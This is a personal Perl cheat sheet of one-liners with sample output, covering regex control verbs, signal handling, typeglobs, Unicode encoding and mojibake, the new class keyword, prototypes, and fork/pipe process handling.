perl -E '"123ABC456" =~ / 123 (*MARK:past_digits) [A-Z]+ (*SKIP) 9.. | .* /x; say $&'
456
perl -E '"123ABC456" =~ / 123 (*MARK:past_digits) [A-Z]+ (*SKIP:past_digits) 9.. | .* /x; say $&'
ABC456
# Perl regex verb - MARK
perl -E '"1x2" =~ /(?:x(*MARK:x)|y(*MARK:y)|z(*MARK:z))/; say $^N'
perl -E '"1x2" =~ /(?:x(*MARK:mx)|y(*MARK:my)|z(*MARK:mz))/; say $REGMARK'
# Use atomic script runs to prevent named attacks. (paypal.com,perl regex verb ASR)
perl -C -E 'say "\N{CYRILLIC SMALL LETTER ER}aypal.com" =~ /^\w+\.com$/' # 1
perl -C -E 'say "\N{CYRILLIC SMALL LETTER ER}aypal.com" =~ /(*asr:^\w+\.com$)/' # 0
# Control verb: FAIL versus split.
perl -Me -e 'n { split => sub{ my %c; $c{lc($_)}++ for split("", "supercalifragilisticexpialidocious") }, fail => sub { my %c; "supercalifragilisticexpialidocious" =~ /([aeiou])(?{ $c{$1}++; })(*FAIL)/i } }, 1000000'
Rate fail split
fail 114679/s -- -17%
split 137741/s 20% --
#############################################################
## Perl Regular Expressions - Word Boundary
#############################################################
# Normal word boundary.
perl -E "say for q(Tim's favorite candy) =~ /(\b\w.*?\b)/g"
Tim
s
favorite
candy
# More precise and newer word boundary.
# Available from v5.22.
# https://perldoc.perl.org/perlrebackslash#%5Cb%7B%7D%2C-%5Cb%2C-%5CB%7B%7D%2C-%5CB
perl -E "say for q(Tim's favorite candy) =~ /(\b{wb}\w.*?\b{wb})/g"
Tim's
favorite
candy
# More precise and newer word boundary.
# Only with word like characters
# (not double quotes).
perl -E 'say for q(Tim"s favorite candy) =~ /(\b{wb}\w.*?\b{wb})/g'
Tim
s
favorite
candy
#############################################################
## Perl Signal Handling
#############################################################
# Catch Control-C
perl -lE '$SIG{INT}=sub{die "\n\nYou hit control C\n\n"}; say "Press Enter" and <> while 1'
# Assign many signal handlers
perl -MData::Dumper -lE 'sub pr{my $d=Data::Dumper->new(\@_)->Purity(1); say $d->Dump} $SIG{INT}=sub{die"\nINT\n"}; $SIG{QUIT}=sub{die"\nQUIT\n"}; $SIG{TERM}=sub{die"\nTERM\n"}; $SIG{PIPE}=sub{die"\nPIPE\n"}; $SIG{ALRM}=sub{die"\nALRM\n"}; $SIG{HUP}=sub{die"\nHUP\n"}; $SIG{CHILD}=sub{die"\nCHILD\n"}; $SIG{__WARN__}=sub{die"\n__WARN__\n"}; $SIG{__DIE__}=sub{die"\n__DIE__\n"}; pr \%SIG; say "Press Enter" and <> while 1'
# Assign many signal handlers
perl -MData::Dumper -le 'sub pr{print Data::Dumper->new(\@_)->Deparse(1)->Dump} for my $s(qw/INT QUIT TERM PIPE ALRM HUP CHLD __WARN__ __DIE__/){ $SIG{$s} = sub{die"\n$s\n"}} pr \%SIG; <> while 1'
perl -MData::Dumper -le 'sub pr{print Data::Dumper->new(\@_)->Deparse(1)->Dump} for my $s(keys %SIG){ $SIG{$s} = sub{print "\n$s\n"}} pr \%SIG; print $$; <> while 1'
# Alarm signal handler
perl -le 'for my $s(qw/INT QUIT TERM PIPE ALRM HUP CHLD/){ $SIG{$s} = sub{die"\n$s\n"}} alarm 2; <> while 1'
perl -le '$SIG{ALRM}=sub{die"\n\nEND OF TIME\n\n"}; alarm 1; <> while 1'
# Perl signal handling (eval,die,exit)
perl -E 'eval { exit 1 }; say $@; say "here"' # Blank
perl -E 'eval { exit 0 }; say $@; say "here"' # Same
perl -E 'eval { return 1 }; say $@; say "here"' # Return early from an eval. ürints "here"
perl -E 'eval { die }; say $@; say "here"' # caught die, prints "here"
perl -E 'eval { exit 1 }; say $@; END {say "here"}' # Run before final exit. prints "here"
perl -E 'eval { die }; say $@; END {say "here"}' # Same.
perl -E 'open FH, ">", "file"; say FH "123"; exit 1' # File closed and contains "123"
# Perl signal handling (eval,die,exit)
# Avoid using $SIG{__DIE__}
https://www.perlmonks.org/?node_id=1173708
perl -E '$SIG{__DIE__} = sub { say "caught die!" }; die; say $@; say "here"'
# Perl signal handling (eval,die,exit)
# Catch exit command.
perl -E 'BEGIN{ *CORE::GLOBAL::exit = sub(;$){die "EXIT_OVERRIDE: @_\n"} } eval { exit 1 }; print "caught error: $@" if $@; say "here"; exit 0'
# Perl signal handling (eval,die,exit)
# exit overrite snippet. Plus capture all signals.
# exit overrite snippet. Plus capture all signals.
our $ExitOverride = 1;
BEGIN {
*CORE::GLOBAL::exit = sub {
die "EXIT_OVERRIDE:Caught: @_\n" if $ExitOverride;
CORE::exit(@_);
};
}
local %SIG = %SIG;
KEY:
for my $Key ( sort keys %SIG ) {
next KEY if $Key eq 'CHLD';
next KEY if $Key eq 'CLD';
next KEY if $Key eq '__DIE__';
next KEY if $Key eq '__WARN__';
$SIG{$Key} = sub { die $Key }; ## no critic
}
#
# RUN CODE HERE
#
$ExitOverride = 0;
# Perl signal handling (eval,die,__DIE__)
# Capture STDOUT and STDERR.
# Catch die and throw to STDOUT.
perl -MApp::Pod -E '{ local *STDOUT; open STDOUT, ">", \$out or die $!; local *STDERR; open STDERR, ">>", \$err or die $!; print "print-out"; print STDERR "print-err"; local $SIG{__DIE__} = sub{ my $m = shift; chomp $m; print STDERR "<$m>" }; eval{die "die\n"}; print "print-out2" } say "\n[$out][$err]\n"' ojo2
#
# Use $@ to capture eval error.
# Better than SIG{__DIE__} since sub calls may except an die
# to stop something, like Pod::Simple, which is used by Pod::LOL).
perl -Ilib -MApp::Pod -E '{ local *STDOUT; open STDOUT, ">", \$out or die $!; local *STDERR; open STDERR, ">>", \$err or die $!; print "print-out"; print STDERR "print-err"; eval{die "die\n"}; print STDERR "<$@>" if $@; print "print-out2" } say "\n[$out][$err]\n"' ojo2
# Redirect to terminal even when STDOUT and/STDERR are sent somewhere else.
perl -E 'open my $fh, ">", "/dev/tty" or die $!; close *STDOUT; say $fh "111"; say "HERE"; say $fh "123";'
111
123
pod e say
# Perl Signal Handling
# Another interesting signal is signal number 0.
# This doesn’t actually affect the target process,
# but instead checks that it’s alive and hasn’t
# changed its UIDs. That is, it checks whether
# it’s legal to send a signal, without actually
# sending one.
unless (kill 0 => $kid_pid) {
warn "something wicked happened to $kid_pid";
}
#############################################################
## Perl Symbol Table
#############################################################
# Remove a subroutine from the symbol table (perl)
# defined &abs_path will still return 1 since it still exists
# but we removed a reference to it.
delete $Cwd::{'abs_path'}
# Remove the contents of a subroutine (perl)
# defined &abs_path will return 0
# Still found in symbol table
undef $Cwd::{'abs_path'}
# Snippet to capture output in perl.
# Capture output.
my $output = "";
{
local *STDOUT;
local *STDERR;
open STDOUT, ">", \$output or die $!;
open STDERR, ">>", \$output or die $!;
eval { App::Pod->run };
if ( $@ ) {
$output = $@;
chomp $output;
}
}
# Backup and restore STDOUT in perl.
# Backup current STDOUT
open(my $backup_stdout, '>&', STDOUT) or die "Can't duplicate STDOUT: $!";
# Redirect STDOUT to a file
open(STDOUT, '>', 'output.txt') or die "Can't redirect STDOUT: $!";
# Write to the redirected STDOUT
print "This goes to the output.txt file\n";
# Restore original STDOUT
open(STDOUT, '>&', $backup_stdout) or die "Can't restore STDOUT: $!";
# Give a name to an anonymous sub/function.
# Inside the sub.
# Single global variable.
my $code = sub {
local *__ANON__ = 'code_name';
...
};
$code->();
# Give a name to an anonymous sub/function.
# Outside the sub.
use Sub::Util;
*{"${class}::$_"} = set_subname("${class}::$_", $patch{$_}) for keys %patch;
# Perl typeglob adding a method to an object (symbol table)
perl -E 'package A { sub a{123} } $o = bless {}, "A"; *{(ref $o) . "::b"} = sub{345}; say $o->b'
# Delete a perl function using (typeglob,symbol table)
# It does not seem possible to localize a "delete":
*My::Run = *EMPTY # Overwrite write an empty symbol table.
delete $A::{a};
delete *{A::}->{a};
delete ${"$pkg\::"}{a};
#
# Instead, just reassign the entire typeglob: (symbol table)
perl -E 'sub Pkg::Func{say 123} $o = bless {}, "Pkg"; {local *Pkg::Func = *Blank; } $o->Func'
# Old school Moose (symbol table, typeglob)
perl -E '
{
package ABC;
sub func{ say "func" }
}
{
my $Orig = \&ABC::func;
local *ABC::func = sub {
say "pre";
$Orig->();
say "post";
};
ABC->func;
};
say "\nreverted";
ABC->func
'
# Moose way to use around (symbol tyble, typeglob)
# DO NOT USE!
# It keeps wrapping the function.
perl -MMoose -E '
{
package ABC;
use Moose;
sub func{ say "func" }
}
{
Moose::around "ABC", func => sub {
my ($Orig,$Self,%Param) = @_;
say "pre";
$Orig->($Self,%Param);
say "post";
};
ABC->func;
}
say "\nreverted";
ABC->func
'
# Sub::Override way to temporarily replace a function (symbol table, typeglob)
perl -MSub::Override -E '
{
package ABC;
sub func{ say "func" }
}
for (1..3) {
my $sub = Sub::Override->new( "ABC::func" => sub {
say "pre";
say "post";
});
ABC->func;
};
say "\nreverted";
ABC->func
'
# Sub::Override way to temporarily replace a function (symbol table, typeglob)
# Also gets the orignal sub name.
perl -MSub::Override -E '
{
package ABC;
sub func{ say "func" }
}
for (1..3) {
my $sub;
$sub = Sub::Override->new( "ABC::func" => sub {
say "pre";
$sub->{"ABC::func"}->();
say "post";
});
ABC->func;
};
say "\nreverted";
ABC->func
'
# Override a function in perl.
perl -E '
package P;
my $Obj = bless {}, "P";
my $Class = ref $Obj;
*{"${Class}::RunMe"} = sub { say "hello world" };
P::RunMe();
$Obj->RunMe();
'
# For loop makes an alias of each element.
# Changes to the alias also change the element.
perl -E 'my $v = 111; $_ = 222 for $v; say $v'
222
#
# Similar way to make an alias to a variable.
perl -E 'my $v = 111; { local *_ = \$v; $_ = 222 } say $v'
222
# Perl Symbol Table
# Stash - hash like structure describing all
# package variables
%main::
%My_Package::
# Perl Symbol Table
# Type glob magic - only the type gets modified.
*foo = \$scalar;
*foo = \@array;
#############################################################
## Perl Unicode - General
#############################################################
# Create invalid Malformed UTF-8 character (unicode)
perl -C -Me -MEncode -E 'my $v = "a\372z"; dd $v; Encode::_utf8_on($v); say ""; dd $v; say $v'
# Check if valid utf8 (unicode)
Encode::is_utf8( $Param{Text}, 1 )
utf8::valid( $Param{Text} )
# Pick a unicode character at a time.
perl -Mutf8 -C -E 'say for "äö" =~ /(\X)/g'
ä
ö
perl -Mutf8 -C -E 'say for "äö" =~ /(.)/g'
ä
ö
#############################################################
## Perl Unicode - Codes
#############################################################
# Unicode salute/saluting.
perl -C -E 'say "\x{1FAE1}"'
🫡
# Draw a box with unicode in perl.
perl -C -E 'say "\N{BOX DRAWINGS LIGHT ARC DOWN AND RIGHT}" . ("\N{BOX DRAWINGS LIGHT HORIZONTAL}" x 5) . "\N{BOX DRAWINGS LIGHT ARC DOWN AND LEFT}"; say "\N{BOX DRAWINGS LIGHT VERTICAL} \N{BOX DRAWINGS LIGHT VERTICAL}" for 1..2; say "\N{BOX DRAWINGS LIGHT ARC UP AND RIGHT}" . ("\N{BOX DRAWINGS LIGHT HORIZONTAL}" x 5) . "\N{BOX DRAWINGS LIGHT ARC UP AND LEFT}"'
# Unicode error codes:
➜ HEAVY ROUND-TIPPED RIGHTWARDS ARROW U+279c 0x279c 10140 023634
✖ HEAVY MULTIPLICATION X U+2716 0x2716 10006 023426
# Unicode star
★ BLACK STAR U+2605 0x2605 9733 023005
#############################################################
## Perl Unicode - Mojibake
#############################################################
# Perl mojibake guide.
https://dev.to/drhyde/a-brief-guide-to-perl-character-encoding-if7
# Perl mojibake examples. (wrong length)
perl -E '$s = "é"; say $s . " contains " . length($s) . " chars"'
é contains 2 chars
# Perl mojibake examples. (utf8 is not enough)
perl -Mutf8 -E '$s = "é"; say $s . " contains " . length($s) . " chars"'
� contains 1 chars
# Perl mojibake examples. (-C or binmode to get correct encoding and therefore length)
perl -Mutf8 -E 'binmode(STDOUT, ":encoding(UTF-8)"); $s = "é"; say $s . " contains " . length($s) . " chars"'
perl -Mutf8 -C -E '$s = "é"; say $s . " contains " . length($s) . " chars"'
perl -Mutf8 -C -E 'binmode(STDOUT, ":encoding(UTF-8)"); $s = "é"; say $s . " contains " . length($s) . " chars"'
é contains 1 chars
# Perl mojibake examples. (Simulate malformed UTF-8 character warnings)
echo '"key": "é"' > my.out
iconv -f utf-8 -t latin1 my.out > my2.out
file my*.out
cat my*
"key": "�"
"key": "é"
cat my2.out | perl -Mutf8 -C -lne '/\d/'
cat my2.out | perl -C -lne '/\d/'
Malformed UTF-8 character: \xe9\x22 (too short; 2 bytes available, need 3) in pattern match (m//) at -e line 1, <> line 1.
Malformed UTF-8 character: \xe9\x22 (unexpected non-continuation byte 0x22, immediately after start byte 0xe9; need 3 bytes, got 1) in pattern match (m//) at -e line 1, <> line 1.
cat my2.out | perl -Mutf8 -C -ne '/\d/'
cat my2.out | perl -C -ne '/\d/'
perl -C -ne '/\d/' < my2.out
perl -CI -ne '/\d/' < my2.out
perl -ne 'INIT{binmode STDIN, ":utf8"} /\d/; print' < my2.out
Malformed UTF-8 character: \xe9\x22\x0a (unexpected non-continuation byte 0x22, immediately after start byte 0xe9; need 3 bytes, got 1) in pattern match (m//) at -e line 1, <> line 1.
perl -ne 'INIT{binmode STDIN, ":encoding(UTF-8)"} /\d/; print' < my2.out
"key": "\xE9"
perl -C -lne 'print utf8::valid($_) ? "valid" : "invalid"' < my.out
valid
perl -C -lne 'print utf8::valid($_) ? "valid" : "invalid"' < my2.out
invalid
#
# Summary:
- A file/string may be declared as utf8, but it really is not.
- "-CI" is the same as 'binmode STDIN, ":utf8"'
- ":encoding(UTF-8)" should be preferred over ":utf8"
- Use "utf8::valid" to check for malformed strings.
# iconv using perl (piconv)
# Saves a file using wrong encoding (mojibake)
perl -CA -le 'open OUT, ">:encoding(latin1)", "my3.out" or die $!; print OUT shift' '"key": "é",'
# Find non ascii characters.
perl -C -lne 'print $1 if /([^[:ascii:]])/' my.yml
uni_convert --string "$(perl -C -lne 'print $1 if /([^[:ascii:]])/' my.csv)"
echo 'aböc' | perl -nE 'say "[$1]" if /(\P{ASCII}+)/'
#############################################################
## Perl Unicode - Encode/Decode
#############################################################
# Compare use of encode/decode.
# Start with non unicode.
perl -C -MEncode -Mutf8 -C -Me -e '$_ = "\xef\xac\xa1"; my $en = eval{encode("UTF-8", $_)} // ""; my $de = eval{decode("UTF-8", $_)} // ""; say; say $en; say $de; dd $_; dd $en, dd $de'
ﬡ
ﬡ
ﬡ
SV = PV(0xb40000740302de60) at 0xb4000074030a9be8
REFCNT = 1
FLAGS = (POK,IsCOW,pPOK)
PV = 0xb400007382ce28a0 "\xEF\xAC\xA1"\0
CUR = 3
LEN = 16
COW_REFCNT = 1
SV = PV(0xb40000740302e0d0) at 0xb4000074030a93a8
REFCNT = 1
FLAGS = (POK,pPOK,UTF8)
PV = 0xb4000074031623d0 "\xEF\xAC\xA1"\0 [UTF8 "\x{fb21}"]
CUR = 3
LEN = 16
SV = PV(0xb40000740302dea0) at 0xb40000740301f930
REFCNT = 1
FLAGS = (POK,pPOK)
PV = 0xb400007382ce2d70 "\xC3\xAF\xC2\xAC\xC2\xA1"\0
CUR = 6
LEN = 16
# Compare use of encode/decode.
# Start with unicode.
perl -C -MEncode -Mutf8 -C -Me -e '$_ = "\x{fb21}"; my $en = eval{encode("UTF-8", $_)} // ""; my $de = eval{decode("UTF-8", $_)} // ""; say; say $en; say $de; dd $_; dd $en, dd $de'
ﬡ
ﬡ
SV = PV(0xb40000721e02de60) at 0xb40000721e0a2be8
REFCNT = 1
FLAGS = (POK,IsCOW,pPOK,UTF8)
PV = 0xb40000719dce28a0 "\xEF\xAC\xA1"\0 [UTF8 "\x{fb21}"]
CUR = 3
LEN = 16
COW_REFCNT = 1
SV = PV(0xb40000721e034590) at 0xb40000721e0a23a8
REFCNT = 1
FLAGS = (POK,IsCOW,pPOK)
PV = 0xb40000721e02c0c0 ""\0
CUR = 0
LEN = 16
COW_REFCNT = 1
SV = PV(0xb40000721e02dea0) at 0xb40000721e01f930
REFCNT = 1
FLAGS = (POK,pPOK)
PV = 0xb40000719dce2d70 "\xEF\xAC\xA1"\0
CUR = 3
LEN = 16
# Compare use of encode/decode.
# Start with name (must be upper case).
perl -C -MEncode -Mutf8 -C -Me -e '$_ = "\N{HEBREW LETTER ALEF}"; my $en = eval{encode("UTF-8", $_)} // ""; my $de = eval{decode("UTF-8", $_)} // ""; say; say $en; say $de; dd $_; dd $en, dd $de'
א
×
SV = PV(0xb400007267a2de60) at 0xb400007267aa0be8
REFCNT = 1
FLAGS = (POK,IsCOW,pPOK,UTF8)
PV = 0xb400007267a2c0c0 "\xD7\x90"\0 [UTF8 "\x{5d0}"]
CUR = 2
LEN = 16
COW_REFCNT = 1
SV = PV(0xb400007267a2e0b0) at 0xb400007267a1f948
REFCNT = 1
FLAGS = (POK,IsCOW,pPOK)
PV = 0xb4000071e76df8b0 ""\0
CUR = 0
LEN = 16
COW_REFCNT = 1
SV = PV(0xb400007267a2dea0) at 0xb400007267a1f930
REFCNT = 1
FLAGS = (POK,pPOK)
PV = 0xb4000071e774e170 "\xD7\x90"\0
CUR = 2
LEN = 16
# Display ALEF from different ways.
perl -C -E 'say "\N{HEBREW LETTER ALEF}"' א
perl -C -E 'say "\N{U+5d0}"' א
perl -C -E 'say "\x{5d0}"' א
perl -C -E 'say chr(0x5d0)' א
perl -C -E 'say chr(0x05d0)' א
perl -C -E 'say chr(1488)' א
perl -C -E 'say v1488' א
# To and from Unicode code point and unnicode byte stream.
perl -C -Me -e 'say unpack "H*", enc "\x{5d0}"'
d790
#
perl -C -Me -e 'say unpack "U*", "\x{5d0}"'
1488
#############################################################
## Perl Object (before class keyword)
#############################################################
# Different ways to check if an object is a certain class.
perl -E 'my $v = 1; say ref $v'
perl -E 'my $v = bless {}, "Cat"; say ref $v'
perl -E 'my $v = bless {}, "Cat"; say $v isa "Cat"'
perl -E 'my $v = bless {}, "Cat"; say $v->isa("Cat")'
perl -E 'my $v = bless {}, "Cat"; say UNIVERSAL::isa($v,"Cat")'
#############################################################
## Perl Class Keyword
#############################################################
# Since 5.38.0, can use 'class' instead of 'package' for a postmodern OOP.
# Perl class documentation.
perlbrew use perl-5.38.0
perldoc class
# Simple example using perl class.
perl -E 'use feature qw(class); no warnings qw(experimental::class); class Point { field $x :param; method show { say $x } } Point->new(x => 333)->show'
333
# Using a different name for the parameter.
perl -E 'use feature ":all"; no warnings "experimental::class"; class Point 1.2 { field $x :param(_x); method show { say $x } } Point->new(_x => 111)->show'
111
# Perl class - class block/statement.
#
# Block form:
perl -E 'use experimental "class"; class C { field $name = "bob"; method say_hi(){ say "Hi $name" } } C->new->say_hi'
Hi bob
#
# Statement form:
perl -E 'use experimental "class"; class C; field $name = "bob"; method say_hi(){ say "Hi $name" } package main; C->new->say_hi'
Hi bob
# Perl class - fields.
#
# Cannot access field outside.
perl -E 'use experimental "class"; class C { field $id } say C->new'
#
# field vs my.
perl -E 'use experimental "class"; class C { my $count = 1; field $id = $count++; method id { $id } } say C->new->id; say C->new->id;'
1
2
# Perl class - :param field attribute.
#
# There is a check to present unrecognised data from being passed to the constructor.
perl -E 'use experimental "class"; class C { field $id; method id { $id } } say C->new( id => 123)->id'
Unrecognised parameters for "C" constructor: id at -e line 1.
#
# Use :param to allow setting that field.
perl -E 'use experimental "class"; class C { field $id :param; method id { $id } } say C->new( id => 123)->id'
123
#
# The :param attribute by deault makes the parameter to be required.
perl -E 'use experimental "class"; class C { field $id :param; method id { $id } } say C->new->id'
Required parameter 'id' is missing for "C" constructor at -e line 1.
# Perl class - :param field attribute.
# Specify a default for a required parameter class.
#
# :param =
perl -E 'use experimental "class"; class C { field $id :param = "ZZZ"; method id { $id } } say C->new->id'
ZZZ
perl -E 'use experimental "class"; class C { field $id :param = "ZZZ"; method id { $id } } say C->new( id => 111)->id'
111
perl -E 'use experimental "class"; class C { field $id :param = "ZZZ"; method id { $id } } say C->new( id => undef )->id'
[empty]
#
# :param //=
perl -E 'use experimental "class"; class C { field $id :param //= "ZZZ"; method id { $id } } say C->new( id => undef )->id'
ZZZ
perl -E 'use experimental "class"; class C { field $id :param //= "ZZZ"; method id { $id } } say C->new( id => 0 )->id'
0
#
# :param ||=
perl -E 'use experimental "class"; class C { field $id :param ||= "ZZZ"; method id { $id } } say C->new( id => 0 )->id'
ZZZ
perl -E 'use experimental "class"; class C { field $id :param ||= "ZZZ"; method id { $id } } say C->new( id => 111 )->id'
111
# Perl class - method statement.
# In the scope of a method block, $self is already defined.
# Also, signatures are enabled for methods.
perl -E 'use experimental "class"; class C { method me { $self } } say C->new->me'
C=OBJECT(0x5599190527b0)
# Perl class - method statement.
#
# method can also return an anonymous method (but this is a fix confusing looking).
perl -E 'use experimental "class"; class C { method me { return method { say "Found me" } } } my $obj = C->new; my $code = $obj->me(); $obj->$code'
Found me
perl -E 'use experimental "class"; class C { method me { return method { say "Found me" } } } my $obj = C->new; my $code = $obj->me(); $code->($obj)'
Found me
# Perl class - Attributes.
# Perl class - Lifecycle hooks
#
# ADJUST method hook is called during new().
perl -E 'use experimental "class"; class C { field $greetings; ADJUST { $greetings = "Hello"; say "Setting greetings to $greetings" } method greet ($name = "someone") { say "$greetings, $name" } say "END class" } C->new'
END class
Setting greetings to Hello
#
perl -E 'use experimental "class"; class C { field $greetings; ADJUST { $greetings = "Hello"; say "Setting greetings to $greetings" } method greet ($name = "someone") { say "$greetings, $name" } say "END class" } C->new->greet("Bob")'
END class
Setting greetings to Hello
Hello, Bob
# Perl class - Guide 0.
perl -E 'use experimental "class"; use Games::ROT; class Engine { field $height :param; field $width :param; field $app = Games::ROT->new( screen_width => $width, screen_height => $height ); ADJUST { $app->run(sub{ $self->render() })} method render(){ my $x = $width / 2; my $y = $height / 2; $app->draw($x,$y,"Hello Word", "#fff", "#000") } } my $engine = Engine->new(width => 80, height => 50)'
# Perl class - Guide 1.
perl -E 'use experimental "class"; use Games::ROT; class Engine { field $height :param; field $width :param; field $app = Games::ROT->new( screen_width => $width, screen_height => $height ); ADJUST { $app->add_event_handler( keydown => sub($event){ exit } ); $app->run(sub{ $self->render() })} method render(){ my $x = $width / 2; my $y = $height / 2; $app->draw($x,$y,"Hello Word", "#fff", "#000") } } my $engine = Engine->new(width => 80, height => 50)'
#############################################################
## Perl Functions - General
#############################################################
# Lexical sub in perl (function)
perl -wE '{my sub fun {say 123} } fun'
# push, pop, shift, unshift are special since if the target is undef,
# they will change the target to be an empty array reference.
#
# These produce an error: "Can't use an undefined value as an ARRAY reference at ..."
perl -Mojo -E 'my $h = {}; @{$h->{list}}; say "ok"'
perl -Mojo -E 'my $h = {}; my $v = @{$h->{list}}; say "ok"'
perl -Mojo -E 'my $h = {}; my $v = scalar @{$h->{list}}; say "ok"'
perl -Mojo -E 'my $h = {}; say @{$h->{list}}; say "ok"'
perl -Mojo -E 'my $h = {}; my @copy = @{$h->{list}}; say "ok"'
#
# Where as these are ok:
perl -Mojo -E 'my $h = {}; push @{$h->{list}}, 123; say "ok"'
perl -Mojo -E 'my $h = {}; pop @{$h->{list}}; say "ok"'
perl -Mojo -E 'my $h = {}; shift @{$h->{list}}; say "ok"'
perl -Mojo -E 'my $h = {}; unshift @{$h->{list}}, 123; say "ok"'
perl -Mojo -E 'my $h = {}; say @{$h->{list} // []}; say "ok"'
# Signatures no longer experimental in v5.36
perl -E 'sub F($n){ $n*2 } say F(5)'
10
#############################################################
## Perl Functions - Arguments
#############################################################
# Perl Functions - Arguments
# Diffierent ways to call a function.
perl -E '
package P;
sub Method { say "[@_]" }
sub Run {
__PACKAGE__->Method(222); # [P 222]
__PACKAGE__->can("Method")->(222); # [222]
caller->Method(222); # [P 222]
caller->can("Method")->(222); # [222]
}
Run
'
#############################################################
## Perl Functions - AUTOLOAD
#############################################################
# Perl Functions - AUTOLOAD
# Undeclared functions are shell commands.
# One can have great fun with AUTOLOAD
# routines that serve as wrappers to other
# interfaces. For example, let’s pretend that
# any function that isn’t defined should just call
# system with its arguments. All you’d do is this:
sub AUTOLOAD {
my $program = our $AUTOLOAD;
$program =~ s/.*:://; # trim package name
system($program, @_);
}
#############################################################
## Perl Functions - Prototypes
#############################################################
# Example of using prototypes in perl.
# Use :proto attribute to mix with signatures.
perl -le '
sub my_map (&@) {
my ($sub,@items) = @_;
for (@items){
$_ = $sub->($_);
}
return @items;
}
my @list = (1,2,3);
@list = my_map {$_+10} @list;
print "@list";
'
11 12 13
# View prototype of a function.
perl -E 'say prototype "CORE::splice"'
\@;$$@
# Perl function prototype options.
# The special + prototype takes care of this for
# you as a shortcut for \[@%].
# Perl function prototype options.
# You can use the backslash group notation,
# \[], to specify more than one allowed
# backslashed argument type.
# For example:
sub myref (\[$@%&*])
# allows calling myref as any of these,
# where Perl will arrange that the function
receives a reference to the indicated argument:
myref $var
myref @array
myref %hash
myref &sub
myref *glob
# Perl function prototype options.
# A semicolon separates mandatory arguments from
# optional arguments.
# Perl function prototype options.
# A * allows the subroutine to accept anything in
# that slot that would be accepted by a built-in as
# a filehandle: a bare name, a constant, a scalar
# expression, a typeglob, or a reference to a
# typeglob.
# Perl function prototype options.
As the last character of a prototype,
or just before a semicolon, you can use _ in
place of $. If this argument is not provided,
the current $_ variable will be used instead
# Perl function prototype options.
# Calls made using &NAME are never inlined, however,
# just as they are not subject to any other prototype
# effects.
# Can use :prototype(_) to pass in $_ to @_ when
# there is no input.
perl -E 'sub say2 :prototype(_) { say "[@_]"; CORE::say(@_) } say2 123'
[123]
123
perl -E 'sub say2 :prototype(_) { say "[@_]"; CORE::say(@_) } say2 for 1..3'
[1]
1
[2]
2
[3]
3
#############################################################
## Perl Functions - Recursion
#############################################################
# Naturally recursive function using queue technique.
sub run_per_scalar {
my ( $data, $code ) = @_;
my @queue = ( $data );
my %seen;
while ( my $item = shift @queue ) {
next if $seen{$item}++;
my $ref = ref $item;
if ( $ref eq "ARRAY" ) {
unshift @queue, map { ref $_ ? $_ : \$_ } @$item;
}
elsif ( $ref eq "HASH" ) {
unshift @queue, map { ref $_ ? $_ : \$_ } values %$item;
}
elsif ( $ref eq 'SCALAR' ) {
$code->() for $item;
}
elsif( !$ref ){
die "Not a reference!\n";
}
else {
die "Not supported reference type: $ref!\n";
}
}
}
#############################################################
## Perl Functions - flock
#############################################################
# Simple example of flock.
# Wait indefinitely for a lock.
perl -E 'use Fcntl ":flock"; open $fh, "+>>", "my.txt" or die $!; flock $fh, LOCK_EX or die $!; say $fh 111; sleep 10'&
perl -E 'use Fcntl ":flock"; open $fh, "+>>", "my.txt" or die $!; flock $fh, LOCK_EX or die $!; say $fh 222'
# Flock perl explanation/guide.
https://www.perlmonks.org/?node_id=7058
https://perl.plover.com/yak/flock/
#############################################################
## Perl Functions - fork
#############################################################
# Run a child in a separate process and wait for it.
perl -E 'my $PID = fork; if (!$PID){ sleep 2; say "child"; exit 0 } waitpid $PID, 0; say "parent"'
# Send data from forked child back to parent using pipes.
perl -E 'pipe(INPUT,OUTPUT); my $PID = fork; if (!$PID){ close INPUT; sleep 1; say "child"; say OUTPUT "42"; close OUTPUT; exit 0 } close OUTPUT; waitpid $PID, 0; say "parent"; my ($Data) = <INPUT>; say "[$Data]"'
# Run multiple processes and collect their data.
perl -MMojo::Util=dumper -E 'use strict; use warnings; local $| = 1; my @Wait; for my $Count (1..5){ my($In,$Out); pipe($In,$Out); my $PID = fork; if (!$PID){ close $In; sleep int(rand(5)); say "Running child $Count"; say $Out "From-$Count"; close $Out; exit 0 } close $Out; push @Wait, [$PID,$In]; } my %Data; for my $Set ( @Wait ) { my ($PID,$In) = @$Set; waitpid $PID, 0; say "parent is reading now pid: $PID"; my @Lines = <$In>; chomp @Lines; close $In; $Data{$PID} = \@Lines } say dumper \%Data'
Running child 2
Running child 3
Running child 4
Running child 5
Running child 1
parent is reading now pid: 593943
parent is reading now pid: 593944
parent is reading now pid: 593945
parent is reading now pid: 593946
parent is reading now pid: 593947
{
"593943" => [
"From-1"
],
"593944" => [
"From-2"
],
"593945" => [
"From-3"
],
"593946" => [
"From-4"
],
"593947" => [
"From-5"
]
}
# Run multiple processes and collect their data (no debug output).
perl -MMojo::Util=dumper -E 'use strict; use warnings; local $| = 1; my @Wait; for my $Count (1..200){ my($In,$Out); pipe($In,$Out); my $PID = fork; if (!$PID){ close $In; sleep int(rand(5)); say $Out "From-$Count"; close $Out; exit 0 } close $Out; push @Wait, [$PID,$In]; } my %Data; for my $Set ( @Wait ) { my ($PID,$In) = @$Set; waitpid $PID, 0; my @Lines = <$In>; chomp @Lines; close $In; $Data{$PID} = \@Lines } say dumper \%Data'
# Run multiple processes and collect their data.
# Sends a structure back from the children.
perl -Mojo -E 'local $| = 1; my @Wait; for my $Count (1..5){ my($In,$Out); pipe($In,$Out); my $PID = fork; if (!$PID){ close $In; sleep int(rand(5)); say $Out j { Title => "From-$Count", Count => $Count }; close $Out; exit 0 } close $Out; push @Wait, [$PID,$In]; } my %Data; for my $Set ( @Wait ) { my ($ChildPid,$In) = @$Set; waitpid $ChildPid, 0; my ($Json) = <$In>; chomp $Json; close $In; my $Hash = j $Json; $Hash->{ChildPid} = $ChildPid; $Data{$Hash->{Count}} = $Hash; } say r \%Data'
{
"1" => {
"ChildPid" => 28843,
"Count" => 1,
"Title" => "From-1"
},
"2" => {
"ChildPid" => 28844,
"Count" => 2,
"Title" => "From-2"
},
"3" => {
"ChildPid" => 28845,
"Count" => 3,
"Title" => "From-3"
},
"4" => {
"ChildPid" => 28846,
"Count" => 4,
"Title" => "From-4"
},
"5" => {
"ChildPid" => 28847,
"Count" => 5,
"Title" => "From-5"
}
}
# Process killing example:
perl -E '$pid = fork; if (!$pid){ say "[$$] child", sleep 1 while 1 } else { say "[$$] parent"; waitpid $pid, 0; say "[$$] parent end" }'
